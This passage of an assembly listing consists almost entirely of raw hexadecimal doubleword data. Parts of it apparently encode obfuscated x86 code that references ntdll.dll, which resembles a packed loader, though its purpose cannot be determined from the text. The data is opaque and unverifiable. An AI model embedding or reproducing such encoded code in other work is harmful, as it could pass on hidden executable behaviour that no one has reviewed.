6E9786B3h, 373A0C47h, 9AC16004h, 0D9BE5573h, 2E0D49FCh dd 819E465Ch, 73B83925h, 697F9D4Ch, 3F43B528h, 0CB614388h dd 33074E15h, 45B4FA97h, 87E35947h, 24D1718Ah, 70748A42h dd 0E6330741h, 23CB7AA1h, 97h, 2CF5736Dh, 0B06DF50Eh, 7C5E0DCEh dd 7E9C45E3h, 0D2B43046h, 5DA23924h, 0B433CCAEh, 0EDCF9615h dd 8A23052Ch, 94CE43E2h, 8B3AE77Bh, 0E6046DCCh, 99AF17AEh dd 3D1B7BDBh, 41B928Eh, 88CD3F43h, 4C402FC6h, 99193F2h dd 0B59h, 0BA2FEA77h, 0E358199Fh, 87D24C8h, 32A74EEDh dd 5ED39617h, 9F202B1Dh, 0B84A65DAh, 0C96D88FDh, 1194AF24h dd 3FDBDB50h, 48F3BB29h, 0EE69B3Fh, 0E2CF573h, 0A28E3FD6h dd 497C97CCh, 24FF974Dh, 0CB7ABF39h, 664C56h, 731A0000h dd 924A2CF5h, 4F31F479h, 1920DF8Eh, 8D243A58h, 0B93F42EEh dd 0AA5918A0h, 60099B36h, 6360F369h, 0CE4BBBA5h, 0ABD28A8Ch dd 4B6F1EE9h, 5EE6E8F2h, 0AD9h, 3AAF6AF7h, 63D8991Fh, 88FDA448h dd 0B227CE6Dh, 0DE531697h, 1FA0AB9Dh, 38CAE55Ah, 49ED087Dh dd 91142FA4h, 0BF5B5BD0h, 48F53BA9h, 8E661B3Fh, 4F31F073h dd 907233B6h, 0D1B376F7h, 0FF1B038h, 8C66ACADh, 88599FA0h dd 80D0D36Fh, 4FB3E8B4h, 0A364466Dh, 473A38F4h, 647D81C5h dd 0D31127C3h, 83392553h, 7435173Eh, 2011DC5h, 0C9010000h dd 255431B3h, 31E02539h, 887FD879h, 95506AB1h, 0C63EF878h dd 0B66B819Fh, 1A3F43C0h, 0D5B77EFDh, 7D13ED14h, 269F2806h dd 842DCBE4h, 4E2316D5h, 0AAC0F830h, 3F6FD73Ah, 2C28D71Ch dd 458E0119h, 7FD8BAFFh, 0FFDA63BAh dd 0EA2724F8h, 0F68CA5C3h, 0F9A8694Bh, 41ECC5DBh, 0BF043F73h dd 3CE588A1h, 6809ACC7h, 75B95BA6h, 1DA5A7F2h, 9F9h, 5ACF8A17h dd 83F8B93Fh, 0A81DC468h, 0D247EE8Dh, 0FE7336B7h, 3FC0CBBDh dd 58EA057Ah, 690D289Dh, 0B1344FC4h, 0DF7B7BF0h, 48F61BC9h dd 0AE863B3Fh, 0D554F573h, 23F273B6h, 335A9756h, 68D12A0Ch dd 0ECD7ED0Bh, 283F4945h, 16ACC5E3h, 0B5344D6Bh, 95EEE596h dd 749B7855h, 20C4DA92h, 363300D8h, 0A61BCAF1h, 0C61E346Ch dd 903300D7h, 59D9C4Bh, 1C1D7658h, 62233957h, 8C391EFBh dd 0DF917FF5h, 8B3ACB86h, 9BB4D217h, 0CAE55A07h, 29B7D38h dd 9FF4B67Fh, 0AFEC27E7h, 95B25ADh, 0E8790000h, 1F9DB82Dh dd 22C6E156h, 74F30E83h, 981D38ADh, 2D1F60D5h, 63D89D22h dd 8AFFBA48h, 0B52ACF6Fh, 0D94E179Ah, 0BD273DD9h, 993F48F5h dd 0F9910CE4h, 3924D2F3h, 0BFA140E8h, 0E0DF8626h, 37B89A5Fh dd 4014EE34h, 1E59D91Fh, 3DF97E1Bh, 24D2BD27h, 2D549939h dd 19B0E806h, 0B4B890D2h, 8F8B3A03h, 3F4345F6h, 3AAAC0F8h dd 1C3306FFh, 6FB428D7h, 0EDB43851h, 0D79C9D78h, 9EC7A3B9h dd 569B3927h, 0D59C1F38h, 3A24560h, 2BC96C41h, 0DC6466ECh dd 8C5h, 2EA35EE3h, 57CC9513h, 84F9B83Ch, 0AE23C269h, 0DA4F1293h dd 1B9CA799h, 3CC6E156h, 4DF10C81h, 951833A8h, 0BB5757CCh dd 48F73FA5h, 8A62173Fh, 24D26A76h, 18D65939h, 24D2E202h dd 82F7439h, 0F081B893h, 1FDCBCD2h, 9DE23F43h, 1DC0667Fh dd 44E98DA8h, 86BDA62h, 0B3A80000h, 0CF961586h, 5BF38AA8h dd 42E6C7D6h, 273D5B0Ah, 3F43F8B6h, 0D56B4D92h, 3307A10Bh dd 1B3169A1h, 3307A0C9h, 142A488Dh, 3307A0D0h, 0F924186h dd 65C5AC9h, 3E1587E3h, 5F000001h, 4C2EF373h, 90722FB3h dd 7A3FBFD8h, 8829CCCBh, 0C4690DA6h, 0EFB2344Fh, 0EF86B40Dh dd 0D361BBD1h, 29653924h, 24D2D113h, 41408539h, 5516F8BDh dd 22DE4C2Eh, 0D310D4EAh, 1463924h, 0D789CF52h, 0E31D9257h dd 0D34F95ABh, 6C073924h, 3DEA2D9Eh, 0CD7CA30Bh, 0A38528CEh dd 2584CB0Dh, 0ACF21339h, 3CB174FAh, 7A98D961h, 25828864h dd 0B799DE39h, 0CCE2841Eh, 39258318h, 5DD2F93Eh, 13F5A042h dd 640A235Bh, 221EDFC1h, 392582C2h, 0A1A04F94h, 775571Eh dd 54EEA0E6h, 891934A9h, 0A891EACCh, 8CB01E75h, 537AE2A4h dd 8921F35h, 195E3F43h, 0AC516AA4h, 0FCE8FC12h, 296E3306h dd 0CE545302h, 5CDCF513h, 43F2B395h, 43320861h, 31968E25h dd 28A362F6h, 0A3455B79h, 0BB330794h, 0A205876h, 330794DAh dd 164E17Ch, 467CA882h, 208E701Fh, 7B07B9FFh, 942E49BEh dd 0AB2CBE9h, 19C8896Bh, 31477F37h, 3307D1B3h, 0DDE15EA3h dd 0DF3F2D1Ch, 237F6A5h, 683D5371h, 0C6392552h, 4E100FADh dd 0D9C13A86h, 0B529D8FFh, 41A5270h, 2CE8D5E0h, 0D823176h dd 30A550F2h, 57CC9115h, 0ED86B383h, 638197CFh, 0F33924D2h dd 0A9E1FFAEh, 19E17112h, 0CF7E9A42h, 43AA96D3h, 0D2E8203Fh dd 33079212h, 0DC50FF44h, 0A41F3CBFh, 0A460E66Fh, 3CFDDF06h dd 97DC081Eh, 357A3307h, 15932C0Eh, 1ADAF174h, 1B7B3ABDh dd 6EE30A31h, 0EC85B39Ah, 0D26C740Ah, 0A3403924h, 0D4F0EE5Dh dd 40A981C5h, 0F3000000h, 0E2CF573h, 0C0E28A77h, 0D0E60DC3h dd 39250114h, 27D6FD42h, 135AF45h, 0A0C13925h, 8900A85Ah dd 9E5F41E4h, 36EA0277h, 0E5392522h, 0FFFFB8F7h, 0A2465FFFh dd 0DFEEF60Ch, 23683924h, 73954DFCh, 907931F0h, 8A5441D8h dd 0BFF45D2h, 85B3A45Ch, 0EFD19014h, 0B41044D8h, 0BBE2749Ch dd 29FDDC94h, 0C5C8C8B6h, 448184h, 0B3CB0000h, 5434EC85h dd 0E861031Ch, 9A7CA346h, 0B62E2AD9h, 0A03924D2h, 8254A35Bh dd 0D454F573h, 436A2B0Dh, 0AA1DF8Bh, 7BFAF47h, 42FAA96Bh dd 73C4BD54h, 96EF2E82h, 1B98D352h, 21D06C10h, 2933h, 85B30100h dd 3E5434ECh, 3924D2A6h, 0D055ED06h, 0E8A98B2Eh, 608712C1h dd 738254A8h, 54742CF5h, 73EBF3BDh, 0EE9D59DBh, 0F173835Bh dd 0EC13D658h, 0D270740Ah, 65863924h, 2ACB6D1Fh, 0DF627BB5h dd 0C4733416h, 24E0EEC8h, 0A43B5939h, 6DBC368Ch, 0D6C473E8h dd 0FFFFF470h, 61C54A4h, 3924D2DEh, 85843378h, 0EEC93EE7h dd 0CB192F4Bh, 8B3924D2h, 4426CF6Eh, 283E5C83h, 3924D2BCh dd 102E559Ah, 42FA13FAh, 6E50953Fh, 5B1A9DB6h, 0AC30B0ACh dd 447C3306h, 6E8892Bh, 0CD139645h, 36AEC4FCh, 763306ACh dd 6AB8460h, 198DD233h, 44A0B6D4h, 123306ACh, 64621ECDh dd 1D87E3F7h, 18h, 0B93B5467h, 0F7D99820h, 0A1920F36h dd 11BCC999h, 15341F0h, 21000000h, 0CFED86B3h, 9B495F97h dd 0BB3924D2h, 82CBC776h, 0A63F4301h, 0A490546Ah, 81C63306h dd 0A7C0785Ah, 0BA7B5D04h, 0ED6C0C0Bh, 2AC3A548h, 90B7DE87h dd 0A516031Bh, 9F1F3306h, 0F32B65DAh, 938F56DAh, 3306A551h dd 1211C005h, 0B3E7C96Ch, 0B7FDA097h, 5A5C4FE6h, 2A92543Eh dd 0B6EEF60Ch, 23683306h, 2CF17574h, 58199CB7h, 0AB4AED66h dd 2B7174B9h, 112FF679h, 743DC0D9h, 0FD5D192h, 473306B7h dd 0B6EFF50Bh, 22673306h, 20724CFBh, 45C8B8B6h, 5EE2FB82h dd 0E7FDB597h, 38A4D2FDh, 3EED1459h, 0F196h, 87B3E000h dd 3B5436EEh, 2C4AF9B8h, 24D2CB16h, 3CC2DB39h, 795B1AA1h dd 0EC9291B8h, 0F7A66749h, 0C97CEF6Ch, 57D49D1Ch, 20C43524h dd 0B7DE9F81h, 243A7290h, 392578C0h, 0A0445A96h, 0B6392578h dd 0E39B4A71h, 0A4EF8254h, 31F07339h, 0A0D89079h, 24D25A8Ah dd 0AAC0FC39h, 3924D33Ah, 0B1B0D71Ch, 0C8896B0Ah, 85B36119h dd 29FD34ECh, 0C5C8C8B6h, 4B8184h, 54CB0000h, 0D2DE061Ch dd 33783924h, 0FE73C584h, 7D24C7E0h, 1C5416CEh, 0D316CEE4h dd 0FB403924h, 0D294504Ch, 7DC23924h, 0D311275Fh, 0F83924D2h dd 0DCEB071h, 4B2AFE99h, 678385Ah, 547830DFh, 2CF57382h dd 8407DF74h, 2Ch, 0EC85B352h, 0BB3B5434h, 132947F6h, 3924D2D1h dd 548F476Eh, 2CF57382h, 69A1DF74h, 24D29153h, 912AC539h dd 0F260B900h, 8E46F51Ch, 0FFFEF784h, 0F07352FFh, 33B64F31h dd 61C5472h, 3924D2DEh, 0B3343378h, 0EFCA3FEEh, 0F20B294Ah dd 0DDFBAA4Bh, 42F092C7h, 8769AE3Fh, 6B5EFF1h, 0DA20BD33h dd 0E3ED6D6Bh, 412687h, 0B3700000h, 0B9CFED86h, 3F42FE4Ch dd 8F25074Ch, 3306A751h, 978BE5Bh, 87E4000Bh, 0E400164Eh dd 0E733069Bh, 0FBBC9E5Bh, 0AF354B87h, 0A733069Bh, 0E48C3B62h dd 10Eh, 6A7A90C8h, 0EC33069Bh, 7340F8A7h, 0B64F31F0h dd 0D28A6C31h, 510BE13Bh, 0BF6EDBF2h, 56743DC0h, 19FBBA3Dh dd 2EC7A958h, 0A5BBF38Bh, 3924F03Fh, 0ED6D217h, 483924F0h dd 2D67DC03h, 5BD02B96h, 883757B1h, 25AFA08Ch, 0A138BB39h dd 0BD32591Ch, 38561FA2h, 0F2D49D1Fh, 47A08231h, 81872BF2h dd 9517D3C3h, 0EFB9506Eh, 0D76097D4h, 7D93B160h, 3F435F7Ch dd 6F4ABF04h, 538BA9CAh, 744A73Dh, 4C6AAF33h, 744AE36h dd 0B463A833h, 0F1018096h, 0CCE53927h, 0E2A3852Ch, 1DA2BF33h dd 1239F880h, 2A486F30h, 54C96C11h, 2FF1B439h, 0EC2C0170h dd 4EF47C7Eh, 6C000002h, 9AB52AD7h, 0C3DE5312h, 0F00B8021h dd 1833A849h, 1C5DD297h, 0DB9E1F2Ah, 0AB74B66h, 31F47A95h dd 571EA1BCh, 3046E2E2h, 3F48FDB4h dd 7315EDA2h, 80BA2FF2h, 0A246DB67h, 39602103h, 0D2DF051Bh dd 32773924h, 0EAE18483h, 981D3F27h, 0B532F3D5h, 19408D7Ch dd 86B3D0A4h, 0ECCE9715h, 2A0CD553h, 0FD1B4269h, 42FE1EE7h dd 17357A3Fh, 0C6E10080h, 0DA9B7D20h, 2ADC965Dh, 39E8892Bh dd 0FC869F57h, 4A969241h, 62330661h, 12107FC5h, 0CB87E447h dd 0CCh, 5ABD5415h, 3ED9C839h, 0D6595807h, 13942D0Fh, 56D66C4Eh dd 53925C3h, 334EC362h, 0B60FF1B0h, 0BAD0EE83h, 3F43C83Fh dd 11275F97h, 3307ADD3h, 0A2423E83h, 0B43307ADh, 2F4CC06Fh dd 4708EA8Fh, 0DA71AB20h, 0EC44E444h, 7735B2E4h, 4AC717A9h dd 8EAB6A19h, 0F88FC7E5h, 24790151h, 3D39E8AEh, 3927E7E5h dd 528AA8EDh, 0F3EFB639h, 2CE695F1h, 0AD8F56DAh, 843378ECh dd 5A84D66h, 2DF07590h, 2BFF4E6Bh, 0AE3638ECh, 12Dh, 960BB64Bh dd 0BF34FD7Bh, 0EC6100A4h, 168B2AD1h, 42B77AFBh, 63040F01h dd 942E49BEh, 0D55974E9h, 0FD809B10h, 23BFBF34h, 48FED70Dh dd 0F2CA7F3Fh, 0BA2FF273h, 8BFF1C9Fh, 79DFCF92h, 0F1C53A61h dd 0D559F073h, 6E07E910h, 0DAB52ACBh, 0DEF4125Fh, 3F42F6A7h dd 758EACF1h, 0A3BE33F2h, 267F6100h, 3EE78613h, 56749B5Ch dd 2AC17B40h, 82448939h, 0EC280749h, 0B27B0305h, 0D0000000h dd 0F6118633h, 1F3AAF76h, 445FD49Dh, 6C87FCA5h, 70B126CBh dd 2FF2737Eh, 56039FBAh, 7D20C6E1h, 0AB4AED08h, 849A3636h dd 3F48FE60h, 0B36941F6h, 0D3921586h, 0EB0930F1h, 13611CB3h dd 7B957511h, 8C43D0CCh, 0AEC73F49h, 0C7886A0Bh, 7D5FA418h dd 2BA041E4h, 3D56D8F1h, 809EB0F0h, 4D2F5610h, 5BDEDD8Ch dd 0FD22B89Ah, 59ACF8DFh, 0C164165Ch, 0ED90AB20h, 22C96244h dd 1233A183h, 5BE2FBCCh, 49ECEB9Ah, 951833A8h, 0CCAE73F4h dd 1DE6FE14h, 2B70B909h, 73FBDD04h, 15h, 578DA3DBh, 0FFB9091Dh dd 6E9540E2h, 417F07BFh, 32E18028h, 33EE737Ah, 6C35B851h dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh dd 0E18024BDh, 1FC666FFh, 4968003Dh, 8900000Eh, 0E589242Ch dd 4C581h, 0ED830000h, 242C8704h, 0E189515Ch, 4C181h, 0E9830000h dd 240C8704h, 243C895Ch, 265168h, 240C8900h, 37DD6856h dd 815E12F5h, 4A13CDF6h, 5EF78979h, 37EAF781h, 3D686D9Bh dd 89000042h, 4832424h, 57590424h, 62243481h, 8F257859h dd 0BA520841h, 8, 3281CA01h, 25785962h, 2434FF5Ah, 4C48359h dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFA5197h dd 0B8DA48FCh, 6242D7Ah, 0C650C503h, 1E204185h, 25684706h dd 0FFCF3817h, 1E02F1B5h, 0FA858D06h, 0FF061E38h, 8DD88BD0h dd 1E23A585h, 4685006h, 0FF000001h, 4185C6D3h, 53061E20h dd 7F8BF68h, 0F1B5FF83h, 8D061E02h, 1E38FA85h, 89D0FF06h dd 2411DB85h, 51BD8306h, 61E33h, 0B840Fh, 9D8B0000h, 61E0851h dd 5E9h, 0BB00h, 680000h, 8D000001h, 2411DFB5h, 0FF535606h dd 1E1AA595h, 0DFB58D06h, 3062411h, 1E9F0h, 804E0000h dd 840F5C3Eh, 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 11DF858Dh dd 0FF500624h, 2411DB95h, 0E0FF5806h, 0A810FAEh, 314444C7h dd 13456B45h, 16E5B159h, 1AB2E347h, 2457B618h, 35F6EB6Ah dd 183386B1h, 2CDD3498h, 521D7D6h, 115DDB20h, 6ACFAD34h dd 3F4E0356h, 2AB3AED5h, 107FB22Ah, 4026E295h, 3C5135EDh dd 742440A0h, 1175EEF7h, 3974DB65h, 2827CE86h, 69F5E2E9h dd 0E6FEEBAh, 0DE22E09h, 2C74BB0Fh, 3EBD191Fh, 2DC2596Fh dd 444298BEh, 113F2596h, 2FF28D8Dh, 6A0624h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DBE3E7C3h dd 0FD7BF9BFh, 758D8905h, 6A061E23h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0CA3CC356h dd 179D7BC8h, 6660788Eh, 0F5D519BAh, 4D85C761h, 0B8061E32h dd 0F000062h, 68Ah, 0A1858900h, 0C7061E2Ah, 1E316985h dd 6, 0B5FFF900h, 61E32E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 47C35343h, 8B536F2Ah, 8AC4450h, 0DD8589F3h dd 0FF061E20h, 1E16B995h, 0D99D8B06h, 6A061E31h, 0C195FF00h dd 8B061E26h, 5F7FEBC0h, 0FC23D702h, 0D3D87CFEh, 483E3613h dd 6E6199DCh, 37349FD7h, 2A2AC893h, 0FB88CB74h, 920B3403h dd 885CD333h, 9C7A1B52h, 53331288h, 0BC88F68Fh, 85E2820Ah dd 268E3D5Fh, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h, 207E3653h dd 0E6FEA60Ch, 265A7117h, 0E979907Eh, 2EE4CC7Bh, 0C681F244h dd 0A0DA9AD5h, 4E5BAF5Ah, 0FA5F8C9Dh, 550EC887h, 5263DE41h dd 28448C54h, 28C2A3E7h, 441502E5h, 5E80E53h, 0AF000000h dd 0A938F041h, 0E95A75B4h, 0Bh, 2548ED0Dh, 5FF0FE28h, 81BFAF7Eh dd 6639C2h, 6890F00h, 89000000h, 1E16B5BDh, 0BE06h, 0F600000h dd 0D82h, 8E900h, 7C660000h, 0D7640560h, 8166C105h, 61957BE6h dd 60321C8Bh, 22D1958Bh, 8161061Eh, 0B4E60FC3h, 910DBF6Bh dd 0C3814B43h, 3A7BABCh, 2285858Bh, 0F381061Eh, 2E2AAE43h dd 21C9858Bh, 0B453061Eh, 32048F01h, 5236F080h, 0EE9h dd 0CF740E00h, 0A0B8CFA6h, 1DE3D1C8h, 5915DD7Eh, 0E904EE83h dd 0Eh, 10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0FE813BA9h, 0FFFF9A80h dd 0FF92850Fh, 8D33FFFFh, 61E31E5h, 14E8h, 0FEBB7C00h dd 80FACEA1h, 0BE6B5D8Fh, 0F5F210FAh, 885E625Ah, 0DEBF0F94h dd 0F560565Fh, 1699BD89h, 5861061Eh, 671EC781h, 0BE80000h dd 4A000000h, 53A2491Ch, 0B00790ECh, 5BF9E527h, 8501D233h dd 61E1B35h, 0B93A34FFh, 1FE0D475h, 68D0F5Eh, 8B000000h dd 1E00A58Dh, 0DFEE8106h, 29365E29h, 1E25E5B5h, 25C68106h dd 8938A653h, 1E1A959Dh, 15EE8106h, 8949459Dh, 1E2CCD9Dh dd 17348906h, 896DDF80h, 1E31ADBDh, 0F4EA8106h, 80635494h dd 0C28139E4h, 635494F0h, 0E79FDCB8h, 8CFA815Ah, 0FFFFF99h dd 0FFFF9B85h, 0B1858BFFh, 0EB061E1Ch, 0B61B9026h, 8EAFEC33h dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 0D2A3D25Dh dd 3A02D5h, 0 dd 0E9000000h, 6E8h, 24333868h, 4D7DE906h, 3168FFFAh, 0E9062434h dd 0FFFA4D73h, 2434DB68h, 4D69E906h, 0D068FFFAh, 0E9062435h dd 0FFFA4D5Fh, 24368968h, 4D55E906h, 7D68FFFAh, 0E9062437h dd 0FFFA4D4Bh, 62D7821Fh, 8B00A147h, 0B025CC70h, 0DA4F1695h dd 67B3EBFh, 27C8D3C5h, 50F20D82h, 911530A5h, 0B93C57CCh dd 0E78383F8h, 490513D1h, 0B68E433Fh, 1A84h, 0F0735200h dd 33B64F31h, 0A73B5472h, 0A85718FAh, 0D2C51B33h, 78FE3924h dd 0B36C40B5h, 97CFED86h, 583AFB7Eh, 4E753CBFh, 0E0F6A39Fh dd 85CA3F42h, 0CB192F67h, 8B3306C5h, 0D2122846h, 843306C5h dd 18AE903Fh, 3306C5C8h, 300147E4h, 0C602E2F8h, 0F543306h dd 0E1A6A460h, 605F87E3h, 0A9000002h, 88B1A6D8h, 6AB7CDEBh dd 663F42F3h, 20B14721h, 0C5F7355Bh, 0E1802774h, 13869CBAh dd 0AD74F618h, 0C2D8668h, 0FB114967h, 68B9FCE9h, 5B79286Dh dd 0BE670A23h, 759E130Fh, 0D526EDBh, 9253D6EFh, 0B67F021Dh dd 0DDCB6FF4h, 0F57D7F21h, 534h, 86FBA63Bh, 0AF24CD6Bh dd 0DC511094h, 67B3AC1h, 32A74AEBh, 73F4FFF1h, 841E39AEh dd 0A54964D9h, 0CD708B00h, 13AFAF24h, 4905E7FDh, 0E2BA6F3Fh dd 0F4BD3B54h, 0A3A25112h, 93E10B00h, 372BD31h, 98A1FADCh dd 82A7BDDBh, 5E3F43ADh, 15F7BE41h, 0C4203654h, 9233074Ch dd 0FBB1264Dh, 0C65D483h, 6D49D8EEh, 42873925h, 0E6A9D268h dd 0A990C586h, 7429BBD1h, 0E82D944Bh, 0C8DA3C1h, 0A9A6981h dd 27A451F1h, 708035CAh, 0B7F2E35h, 61A93970h, 0A144C2C0h dd 365D1E00h, 0A3B9F10Fh, 8E2D3441h, 17977A15h, 0F5B0FB0Fh dd 0E43D1FCEh, 0C6FE1C55h, 14930AADh, 83AA6B4Dh, 42954F65h dd 7CC18E2Dh, 0BBE0D1CDh, 4D66944Eh, 642507AEh, 9E2441B5h dd 194001E3h, 965FE2FBh, 0BA2A4078h, 9C880BC9h, 0FB9EDA57h dd 0BC8626C6h, 0FA7D980Dh, 0F204793Bh, 0CCCE4750h, 43B44h dd 0F4A14200h, 1DC4647Fh, 4AEB8DA8h, 7233BAD5h, 985DE2FDh dd 0E5F0E223h, 0D289D40h, 3853C875h, 637EF3B6h, 0ACAC21C0h dd 6EAFA10h, 0B76C3F49h, 61C54DFh, 3924D2DEh, 85843378h dd 0A96143E2h, 6345EC90h, 0D34F95ABh, 0C2073924h, 0C2DEC9Bh dd 0FA334967h, 0EE3F42E8h, 5D8431D1h, 0F12C0DE8h, 84AF2E47h dd 0F7153C3Fh, 2A42F4E1h, 0FB819A39h, 0E897583Ah, 0D9112F74h dd 93753CC0h, 812423D2h, 0AD506BE0h, 70C92204h, 0C2CFE503h dd 4432FFE6h, 4C918A2Bh, 0A5922A20h, 4E0FF118h, 24E62B9Fh dd 0E609724Bh, 9131B9BBh, 98000003h, 0BED94E0Bh, 0E702773Eh dd 0C279C45h, 344FC46Dh, 3879EEB3h, 0F7BA3B46h, 1EDB6782h dd 45E88EA9h, 7332B5D0h, 4C62FEFEh, 3F490698h, 543109BEh dd 14F6BB3Bh, 2A5A453h, 0C61E346Ch, 903924D2h, 0D2954F4Bh dd 7CC13924h, 1F1A7355h, 0C4FC3452h, 82640DABh, 0D31FC5C1h dd 0F2373924h, 55E4743h, 357A3F43h, 1AEB6C0h, 0D8840000h dd 0E48DACA3h, 6C788EC6h, 0EA3924D2h, 0D34C98AEh, 0C50A3924h dd 0BBD1EF9Eh, 3F42F366h, 0B54B256Ah, 2843AA6Bh, 0B9A922B9h dd 62359EF1h, 2C45F4B3h, 703FD60Eh, 9BDAF3h, 0B666211h dd 6543E786h, 54E53E20h, 1F01A047h, 1BDE5F5Eh, 33517839h dd 985DE2FBh, 73F6F5B6h, 600FD0B2h, 0CC994D64h, 405EA33Dh dd 0D2E7108h, 423FA5BBh, 0D2173189h, 0F3D86D55h, 3A24544h dd 31F0738Eh, 0CE9F1A6Fh, 4AD2D4F0h, 29Ch, 0EE631EA3h dd 178C55D3h, 44B978FCh, 6EE38229h, 9A0FD253h, 0DB5C6759h dd 0FC86A116h, 0DB1CC41h, 55D8F368h, 7B17178Ch, 49077F65h dd 4A22D73Fh, 0A724BD54h, 61D68362h, 40EF16DFh, 15F7BE41h dd 0E7FD7DBCh, 39252AFDh, 0CFED1459h, 0C2712CB6h, 0D5536CA4h dd 0BA692A0Ch, 435B6BBEh, 0BB30753Fh, 5FDA7505h, 0A3BCF412h dd 0BB7C5E03h, 1B11100Ch, 7ABF3925h, 0C3BD0AA0h, 2514BBCAh dd 0E0F62E4Ch, 9E06F204h, 0A18326C7h, 78276CE0h, 242D445Ah dd 0FE43A425h, 7C25C7E0h, 0A792EBCDh, 1B96ACCAh, 0D59E0A38h dd 0D6597290h, 0FC7F9A0Fh, 8EA87335h, 0A4A6510Ch, 1E31Ch dd 9C59EA00h, 0C56C0C27h, 0F2B33550h, 1ADB627Dh, 40E58AA5h dd 8D988ACBh, 0B5D045E8h, 0E0FB702Dh, 0B269B5Eh, 5454C968h dd 942A2B8h, 5F143F49h, 0BC3B5487h, 0A35213F5h, 7E6001A4h dd 6815ADC6h, 323FFAB9h, 1EC6DC14h, 0AD3924D3h, 0C384660Fh dd 3D5B0A4Fh, 42E90627h, 7F9DE23Fh, 7221DC66h, 758BC3FDh dd 3306BC6Fh, 3BF3A2E7h, 0CFED86B3h, 490526B9h, 0C447C3Fh dd 0A0EEF6h, 27236833h, 3300A0BDh, 3BE67C99h, 0C2719859h dd 0D2EB094Eh, 0D711862Fh, 0A05B899Fh, 0B6FB3300h, 0BC650807h dd 0BBB881DAh, 0D246879Dh, 9DE23924h, 22C3667Fh, 2EB6CC04h dd 282CDC6Fh, 85BF34E3h, 0AB335BEEh, 0C7764032h, 9A7C25C8h dd 5D7BF841h, 0CBD50F25h, 3C812CDCh, 1E376F8Dh, 0B879FC99h dd 0CEE15D6h, 1A09C4Bh, 0CF32FAE0h, 4DC88Ah, 6F71E604h dd 0EFE7h, 0B06DF600h, 0D998203Bh, 0FEA74964h, 26CF6E89h dd 4C1196B1h, 99A496D7h, 0C1DC5114h, 0E4FF7421h, 0F2A9F42h dd 5050C56Ch, 0A469EB4h, 5B103F49h, 0ED86B383h, 52EB9CFh dd 0E92E3F49h, 2ACB6E07h, 4E179AB5h, 0D2971730h, 9E802FF0h dd 862FCDE6h, 8DACDBD7h, 0E27A6F27h, 0B55094AAh, 0E906F6D9h dd 0C6759C59h, 952CFD43h, 43212C71h, 0CBCA79BCh, 0F9148928h dd 9051D776h, 0E4C6EDAEh, 0F80EAC4Bh, 0F6D91FECh, 0E0FE256Ah dd 9B7D24C7h, 0B0492BDAh, 0F0896B0Eh, 2CC5A752h, 46E5E68Bh dd 7AE4E00h, 693D6425h, 4D1494ADh, 78FBAA6Bh, 0A5CA6132h dd 0DC8523B6h, 0DAE6665Fh, 0E8892C2Bh, 67A23973h, 0DB02F99h dd 0FF828130h, 21CC5436h, 34000000h, 21FEE6FCh, 1358F6D9h dd 2205DFF5h, 0C51F6D9h, 3B54A55Dh, 0D37AF7BAh, 5F0A0392h dd 24FCEF9Eh, 5133EE73h, 8A6C35B8h, 0C6A84DF1h, 6E8952Dh dd 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h, 3D1FC666h dd 12626800h, 0C890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68240489h, 11B0h, 53243C89h, 243254BBh dd 5B585306h, 243C8B54h, 4C481h, 0BB530000h, 8, 305DEB81h dd 0FB017FBDh, 305DC381h, 3897FBDh, 2434FF5Bh, 4C4835Fh dd 582434FFh, 4C481h, 0A8E90000h, 35FFFA46h, 0BDE8C06Ch dd 5035A223h, 243891B8h, 0FFC50306h, 0B53960E0h, 0D0A0F945h dd 504ECA6Ch, 4C34635Fh, 9C1E0Eh, 1B36067h, 8FCE9762h dd 59168807h, 8156875Dh, 0CBC8A633h, 555C3706h, 0A59BE50Eh dd 0A93FF756h, 0FB2E902Fh, 0B311F82Fh, 89B39229h, 0E31DB20Dh dd 8CE8E725h, 1EA32D03h, 5F00A018h, 0AE2E374Bh, 0FAD1AF33h dd 3C987E43h, 598C7F52h, 0AA376133h, 0B928940Dh, 6FF98C1Bh dd 8E819h, 66760000h, 44CB1029h, 0FE8CDB9h, 29000000h dd 0EBDEF90Ch, 912C5C17h, 0AAE3E856h, 10E829C2h, 95000000h dd 0DA0E6764h, 6E3C8D3Ch, 0B0F3ECC4h, 52875D13h, 5B5E5E59h dd 8D0F50h, 58000000h, 5AB3C381h, 0BE660000h, 68C2FDh dd 0E8000000h, 10h, 1E12F53Ah, 0E99A7A81h, 0BBC53706h dd 5E14ED81h, 0B0CBBE66h, 0BE665F5Eh, 148BF1F4h, 0F281F53Bh dd 611A9D1Dh, 81F2BF0Fh, 97C8B8EAh, 0BEEA810Ah, 814E2ADFh dd 0D84BBCE9h, 3B148957h, 12E9h, 2178F700h dd 1FD1CC36h, 5AABCA31h, 0BC4C05B8h, 66B2446Eh, 0EF81F78Bh dd 10F7BBC4h, 5850Fh, 81660000h, 81FC8FDEh, 0F7BBC0C7h dd 14FF8110h, 0FFFFFA6h, 0FFFFA185h, 8EBFFh, 6000000h dd 0E9771F72h, 4B8h, 243B5E68h, 4541E906h, 0E268FFFAh dd 0E906243Bh, 0FFFA4537h, 243D1768h, 452DE906h, 6001FFFAh dd 872540B5h, 0AA4E69DEh, 0FC7B960Bh, 0A5C035h, 0B5A7E85Dh dd 0EB6005AAh, 128732D0h, 3DB277F7h, 61D69F22h, 35AFC561h dd 213F490Dh, 3B54946Ch, 5617F9B8h, 6207A8A7h, 9D44E780h dd 87EC4D28h, 0DB0A5369h, 0F93E3F42h, 0C95F8117h, 0B04D3306h dd 0DDFDFB6Ah, 0F3B687E3h, 2, 83B6A9D8h, 67BAD0EEh, 693F42F3h dd 2709A84Ch, 0CF653F66h, 306C198Ah, 26BED40Ch, 3035A14Dh dd 0BC7D3CEBh, 0CA6199B7h, 6CC0F848h, 0FEFB2C31h, 0CF5A1187h dd 70748AA8h, 0E635A0D4h, 0DBF6F2A1h, 553BBED7h, 0D1E10319h dd 39752F82h, 82D1C123h, 